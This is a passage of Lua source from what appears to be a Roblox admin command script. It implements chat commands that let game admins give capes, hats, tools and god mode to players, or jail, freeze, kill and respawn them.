  460. for i, v in pairs(plrz) do
  461. coroutine.resume(coroutine.create(function()
  462. if v and v:findFirstChild("leaderstats") then
  463. for a, q in pairs(v.leaderstats:children()) do
  464. if q:IsA("IntValue") then q.Value = 0 end
  465. end
  466. end
  467. end))
  468. end
  469. end
  470.  
  471. if msg:lower():sub(1,4) == "hat " then
  472. local chk1 = msg:lower():sub(5):find(" ") + 4
  473. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  474. for i, v in pairs(plrz) do
  475. coroutine.resume(coroutine.create(function()
  476. if v and v.Character then
  477. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  478. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  479. obj:Destroy()
  480. end
  481. end))
  482. end
  483. end
  484.  
  485. if msg:lower():sub(1,5) == "cape " then
  486. local chk1 = msg:lower():sub(6):find(" ")
  487. local plrz = GetPlr(plr, msg:lower():sub(6))
  488. local str = "torso.BrickColor"
  489. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  490. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  491. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  492. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  493. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  494. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  495. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  496. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  497. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  498. if msg:sub(chk1+1):lower() == "Thun" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  499. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  500. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  501. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  502. if BrickColor.new(teststr) ~= nil then str = teststr end
  503. end
  504. for i, v in pairs(plrz) do
  505. coroutine.resume(coroutine.create(function()
  506. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  507. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  508. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  509. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  510. local torso = plr.Character.Torso
  511. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  512. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  513. p.Size = Vector3.new(.2,.2,.2)
  514. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  515. local motor1 = Instance.new("Motor", p)
  516. motor1.Part0 = p
  517. motor1.Part1 = torso
  518. motor1.MaxVelocity = .01
  519. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  520. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  521. local wave = false
  522. repeat wait(1/44)
  523. local ang = 0.1
  524. local oldmag = torso.Velocity.magnitude
  525. local mv = .002
  526. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  527. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  528. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  529. motor1.DesiredAngle = -ang
  530. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  531. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  532. if torso.Velocity.magnitude < .1 then wait(.1) end
  533. until not p or p.Parent ~= torso.Parent
  534. script:Destroy()
  535. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  536. end
  537. end))
  538. end
  539. end
  540.  
  541. if msg:lower():sub(1,7) == "uncape " then
  542. local plrz = GetPlr(plr, msg:lower():sub(8))
  543. for i, v in pairs(plrz) do
  544. coroutine.resume(coroutine.create(function()
  545. if v and v:findFirstChild("PlayerGui") and v.Character then
  546. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  547. end
  548. end))
  549. end
  550. end
  551.  
  552. if msg:lower():sub(1,7) == "noclip " then
  553. local plrz = GetPlr(plr, msg:lower():sub(8))
  554. for i, v in pairs(plrz) do
  555. coroutine.resume(coroutine.create(function()
  556. if v and v:findFirstChild("PlayerGui") then
  557. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  558. cl.Parent = v.PlayerGui cl.Disabled = false
  559. end
  560. end))
  561. end
  562. end
  563.  
  564. if msg:lower():sub(1,5) == "clip " then
  565. local plrz = GetPlr(plr, msg:lower():sub(6))
  566. for i, v in pairs(plrz) do
  567. coroutine.resume(coroutine.create(function()
  568. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  569. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  570. v.Character.Torso.Anchored = false
  571. wait(.1) v.Character.Humanoid.PlatformStand = false
  572. end
  573. end))
  574. end
  575. end
  576.  
  577. if msg:lower():sub(1,5) == "jail " then
  578. local plrz = GetPlr(plr, msg:lower():sub(6))
  579. for i, v in pairs(plrz) do
  580. coroutine.resume(coroutine.create(function()
  581. if v and v.Character and v.Character:findFirstChild("Torso") then
  582. local vname = v.Name
  583. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  584. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  585. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  586. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  587. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  588. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  589. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  590. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  591. end)
  592. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  593. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  594. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  595. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  596. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  597. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  598. local msh2 = msh:Clone() msh2.Parent = back
  599. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  600. local msh4 = msh3:Clone() msh4.Parent = left
  601. v.Character.Torso.CFrame = cf
  602. end
  603. end))
  604. end
  605. end
  606.  
  607. if msg:lower():sub(1,7) == "unjail " then
  608. local plrz = GetPlr(plr, msg:lower():sub(8))
  609. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  610. end
  611.  
  612. if msg:lower():sub(1,11) == "starttools " then
  613. local plrz = GetPlr(plr, msg:lower():sub(12))
  614. for i, v in pairs(plrz) do
  615. coroutine.resume(coroutine.create(function()
  616. if v and v:findFirstChild("Backpack") then
  617. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  618. end
  619. end))
  620. end
  621. end
  622.  
  623. if msg:lower():sub(1,6) == "sword " then
  624. local plrz = GetPlr(plr, msg:lower():sub(7))
  625. for i, v in pairs(plrz) do
  626. coroutine.resume(coroutine.create(function()
  627. if v and v:findFirstChild("Backpack") then
  628. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  629. sword.GripForward = Vector3.new(-1,0,0)
  630. sword.GripPos = Vector3.new(0,0,-1.5)
  631. sword.GripRight = Vector3.new(0,1,0)
  632. sword.GripUp = Vector3.new(0,0,1)
  633. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  634. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  635. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  636. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  637. local Damage = 15
  638. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  639. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  640. SlashSound.Volume = 1
  641. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  642. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  643. LungeSound.Volume = 1
  644. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  645. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  646. UnsheathSound.Volume = 1
  647. local last = 0
  648. script.Parent.Handle.Touched:connect(function(hit)
  649. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  650. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  651. hit.Parent.Humanoid:TakeDamage(Damage)
  652. end
  653. end)
  654. script.Parent.Activated:connect(function()
  655. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  656. script.Parent.Enabled = false
  657. local tick = game:service("RunService").Stepped:wait()
  658. if tick - last <= .2 then
  659. LungeSound:play()
  660. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  661. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  662. wait(.2)
  663. script.Parent.GripForward = Vector3.new(0,0,1)
  664. script.Parent.GripRight = Vector3.new(0,-1,0)
  665. script.Parent.GripUp = Vector3.new(-1,0,0)
  666. wait(.3)
  667. frc:Destroy() wait(.5)
  668. script.Parent.GripForward = Vector3.new(-1,0,0)
  669. script.Parent.GripRight = Vector3.new(0,1,0)
  670. script.Parent.GripUp = Vector3.new(0,0,1)
  671. else
  672. SlashSound:play()
  673. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  674. end
  675. last = tick
  676. script.Parent.Enabled = true
  677. end)
  678. script.Parent.Equipped:connect(function(mouse)
  679. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  680. UnsheathSound:play()
  681. script.Parent.Enabled = true
  682. if not mouse then return end
  683. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  684. end)]] cl.Disabled = false
  685. end
  686. end))
  687. end
  688. end
  689.  
  690. if msg:lower():sub(1,6) == "clone " then
  691. local plrz = GetPlr(plr, msg:lower():sub(7))
  692. for i, v in pairs(plrz) do
  693. coroutine.resume(coroutine.create(function()
  694. if v and v.Character then
  695. v.Character.Archivable = true
  696. local cl = v.Character:Clone()
  697. table.insert(objects,cl)
  698. cl.Parent = game.Workspace
  699. cl:MoveTo(v.Character:GetModelCFrame().p)
  700. cl:MakeJoints()
  701. v.Character.Archivable = false
  702. end
  703. end))
  704. end
  705. end
  706.  
  707. if msg:lower():sub(1,5) == "kill " then
  708. local plrz = GetPlr(plr, msg:lower():sub(6))
  709. for i, v in pairs(plrz) do
  710. coroutine.resume(coroutine.create(function()
  711. if v and v.Character then v.Character:BreakJoints() end
  712. end))
  713. end
  714. end
  715.  
  716. if msg:lower():sub(1,8) == "respawn " then
  717. local plrz = GetPlr(plr, msg:lower():sub(9))
  718. for i, v in pairs(plrz) do
  719. coroutine.resume(coroutine.create(function()
  720. if v and v.Character then v:LoadCharacter() end
  721. end))
  722. end
  723. end
  724.  
  725. if msg:lower():sub(1,5) == "jump " then
  726. local plrz = GetPlr(plr, msg:lower():sub(6))
  727. for i, v in pairs(plrz) do
  728. coroutine.resume(coroutine.create(function()
  729. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  730. v.Character.Humanoid.Jump = true
  731. end
  732. end))
  733. end
  734. end
  735.  
  736. if msg:lower():sub(1,4) == "sit " then
  737. local plrz = GetPlr(plr, msg:lower():sub(5))
  738. for i, v in pairs(plrz) do
  739. coroutine.resume(coroutine.create(function()
  740. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  741. v.Character.Humanoid.Sit = true
  742. end
  743. end))
  744. end
  745. end
  746.  
  747. if msg:lower():sub(1,10) == "invisible " then
  748. local plrz = GetPlr(plr, msg:lower():sub(11))
  749. for i, v in pairs(plrz) do
  750. coroutine.resume(coroutine.create(function()
  751. if v and v.Character then
  752. for a, obj in pairs(v.Character:children()) do
  753. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  754. end
  755. end
  756. end))
  757. end
  758. end
  759.  
  760. if msg:lower():sub(1,8) == "visible " then
  761. local plrz = GetPlr(plr, msg:lower():sub(9))
  762. for i, v in pairs(plrz) do
  763. coroutine.resume(coroutine.create(function()
  764. if v and v.Character then
  765. for a, obj in pairs(v.Character:children()) do
  766. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  767. end
  768. end
  769. end))
  770. end
  771. end
  772.  
  773. if msg:lower():sub(1,5) == "lock " then
  774. local plrz = GetPlr(plr, msg:lower():sub(6))
  775. for i, v in pairs(plrz) do
  776. coroutine.resume(coroutine.create(function()
  777. if v and v.Character then
  778. for a, obj in pairs(v.Character:children()) do
  779. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  780. end
  781. end
  782. end))
  783. end
  784. end
  785.  
  786. if msg:lower():sub(1,7) == "unlock " then
  787. local plrz = GetPlr(plr, msg:lower():sub(8))
  788. for i, v in pairs(plrz) do
  789. coroutine.resume(coroutine.create(function()
  790. if v and v.Character then
  791. for a, obj in pairs(v.Character:children()) do
  792. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  793. end
  794. end
  795. end))
  796. end
  797. end
  798.  
  799.  
  800. if msg:lower():sub(1,4) == "age " then
  801. local plrz = GetPlr(plr, msg:lower():sub(5))
  802. for i, v in pairs(plrz) do
  803. coroutine.resume(coroutine.create(function()
  804. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  805. end))
  806. end
  807. end
  808.  
  809. if msg:lower():sub(1,3) == "ff " then
  810. local plrz = GetPlr(plr, msg:lower():sub(4))
  811. for i, v in pairs(plrz) do
  812. coroutine.resume(coroutine.create(function()
  813. if v and v.Character then Instance.new("ForceField", v.Character) end
  814. end))
  815. end
  816. end
  817.  
  818. if msg:lower():sub(1,5) == "unff " then
  819. local plrz = GetPlr(plr, msg:lower():sub(6))
  820. for i, v in pairs(plrz) do
  821. coroutine.resume(coroutine.create(function()
  822. if v and v.Character then
  823. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  824. end
  825. end))
  826. end
  827. end
  828.  
  829. if msg:lower():sub(1,7) == "punish " then
  830. local plrz = GetPlr(plr, msg:lower():sub(8))
  831. for i, v in pairs(plrz) do
  832. coroutine.resume(coroutine.create(function()
  833. if v and v.Character then
  834. v.Character.Parent = game:service("Lighting")
  835. end
  836. end))
  837. end
  838. end
  839.  
  840. if msg:lower():sub(1,9) == "unpunish " then
  841. local plrz = GetPlr(plr, msg:lower():sub(10))
  842. for i, v in pairs(plrz) do
  843. coroutine.resume(coroutine.create(function()
  844. if v and v.Character then
  845. v.Character.Parent = game:service("Workspace")
  846. v.Character:MakeJoints()
  847. end
  848. end))
  849. end
  850. end
  851.  
  852. if msg:lower():sub(1,7) == "freeze " then
  853. local plrz = GetPlr(plr, msg:lower():sub(8))
  854. for i, v in pairs(plrz) do
  855. coroutine.resume(coroutine.create(function()
  856. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  857. for a, obj in pairs(v.Character:children()) do
  858. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  859. end
  860. end
  861. end))
  862. end
  863. end
  864.  
  865. if msg:lower():sub(1,5) == "thaw " then
  866. local plrz = GetPlr(plr, msg:lower():sub(6))
  867. for i, v in pairs(plrz) do
  868. coroutine.resume(coroutine.create(function()
  869. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  870. for a, obj in pairs(v.Character:children()) do
  871. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  872. end
  873. end
  874. end))
  875. end
  876. end
  877.  
  878. if msg:lower():sub(1,5) == "heal " then
  879. local plrz = GetPlr(plr, msg:lower():sub(6))
  880. for i, v in pairs(plrz) do
  881. coroutine.resume(coroutine.create(function()
  882. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  883. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  884. end
  885. end))
  886. end
  887. end
  888.  
  889. if msg:lower():sub(1,4) == "god " then
  890. local plrz = GetPlr(plr, msg:lower():sub(5))
  891. for i, v in pairs(plrz) do
  892. coroutine.resume(coroutine.create(function()
  893. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  894. v.Character.Humanoid.MaxHealth = math.huge
  895. v.Character.Humanoid.Health = 9e9
  896. end
  897. end))
  898. end
  899. end
  900.  
  901. if msg:lower():sub(1,6) == "ungod " then
  902. local plrz = GetPlr(plr, msg:lower():sub(7))
  903. for i, v in pairs(plrz) do
  904. coroutine.resume(coroutine.create(function()
  905. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  906. v.Character.Humanoid.MaxHealth = 100
  907. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  908. end
  909. end))
  910. end
  911. end
  912.  
  913. if msg:lower():sub(1,7) == "btools " then
  914. local plrz = GetPlr(plr, msg:lower():sub(8))
  915. for i, v in pairs(plrz) do
  916. coroutine.resume(coroutine.create(function()
  917. if v and v:findFirstChild("Backpack") then
  918. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  919. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  920. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  921. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  922. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  923. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  924. local sb
  925. local hs
  926. local pdist
  927.  
  928. script.Parent.Selected:connect(function(mouse)
  929. if not mouse then return end
  930. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  931. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  932. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  933. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  934. hs.MouseButton1Down:connect(function() pdist = 0 end)
  935. end)
  936.  
  937. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  938. end
  939. end))
  940. end
  941. end
  942.  
  943. if msg:lower():sub(1,12) == "startergive " then
  944. local chk1 = msg:lower():sub(13):find(" ") + 12
  945. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  946. for i, v in pairs(plrz) do
  947. coroutine.resume(coroutine.create(function()
  948. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  949. for a, tool in pairs(game.Lighting:children()) do
  950. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  951. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  952. end
  953. end
  954. end
  955. end))
  956. end
  957. end
  958.  
  959. if msg:lower():sub(1,5) == "give " then
  960. local chk1 = msg:lower():sub(6):find(" ") + 5
  961. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  962. for i, v in pairs(plrz) do
  963. coroutine.resume(coroutine.create(function()
  964. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  965. for a, tool in pairs(game.Lighting:children()) do
  966. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  967. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  968. end
  969. end
  970. end
  971. end))
  972. end
  973. end
  974.  
  975. if msg:lower():sub(1,12) == "removetools " then
  976. local plrz = GetPlr(plr, msg:lower():sub(13))
  977. for i, v in pairs(plrz) do
  978. coroutine.resume(coroutine.create(function()
  979. if v and v.Character and v:findFirstChild("Backpack") then
  980. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  981. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  982. end
  983. end))
  984. end
  985. end
  986.  
  987. if msg:lower():sub(1,5) == "rank " then
  988. local chk1 = msg:lower():sub(6):find(" ") + 5
  989. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  990. for i, v in pairs(plrz) do
  991. coroutine.resume(coroutine.create(function()
  992. if v and v:IsInGroup(msg:sub(chk1+1)) then
  993. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  994. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  995. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  996. end
  997. end))
  998. end
  999. end
  1000.  
  1001. if msg:lower():sub(1,7) == "damage " then
  1002. local chk1 = msg:lower():sub(8):find(" ") + 7
  1003. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1004. for i, v in pairs(plrz) do
  1005. coroutine.resume(coroutine.create(function()
  1006. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1007. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1008. end
  1009. end))
  1010. end
  1011. end
  1012.  
  1013. if msg:lower():sub(1,5) == "grav " then
  1014. local plrz = GetPlr(plr, msg:lower():sub(6))
  1015. for i, v in pairs(plrz) do
  1016. coroutine.resume(coroutine.create(function()
  1017. if v and v.Character and v.Character:findFirstChild("Torso") then
  1018. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1019. end
  1020. end))
  1021. end
  1022. end
  1023.  
  1024. if msg:lower():sub(1,8) == "setgrav " then
  1025. local chk1 = msg:lower():sub(9):find(" ") + 8
  1026. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1027. for i, v in pairs(plrz) do
  1028. coroutine.resume(coroutine.create(function()
  1029. if v and v.Character and v.Character:findFirstChild("Torso") then
  1030. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1031. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1032. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1033. end
  1034. end))
  1035. end
  1036. end
  1037.  
  1038. if msg:lower():sub(1,7) == "nograv " then
  1039. local plrz = GetPlr(plr, msg:lower():sub(8))
  1040. for i, v in pairs(plrz) do
  1041. coroutine.resume(coroutine.create(function()
  1042. if v and v.Character and v.Character:findFirstChild("Torso") then
  1043. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1044. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1045. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1046. end
  1047. end))
  1048. end
  1049. end
  1050.  
  1051. if msg:lower():sub(1,7) == "health " then
  1052. local chk1 = msg:lower():sub(8):find(" ") + 7
  1053. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1054. for i, v in pairs(plrz) do
  1055. coroutine.resume(coroutine.create(function()
  1056. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1057. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1058. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1059. end
  1060. end))
  1061. end
  1062. end
  1063.  
  1064. if msg:lower():sub(1,6) == "speed " then
  1065. local chk1 = msg:lower():sub(7):find(" ") + 6
  1066. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1067. for i, v in pairs(plrz) do
  1068. coroutine.resume(coroutine.create(function()
  1069. if v and v.Character and v.Character:findFirstChild("Humanoid") then
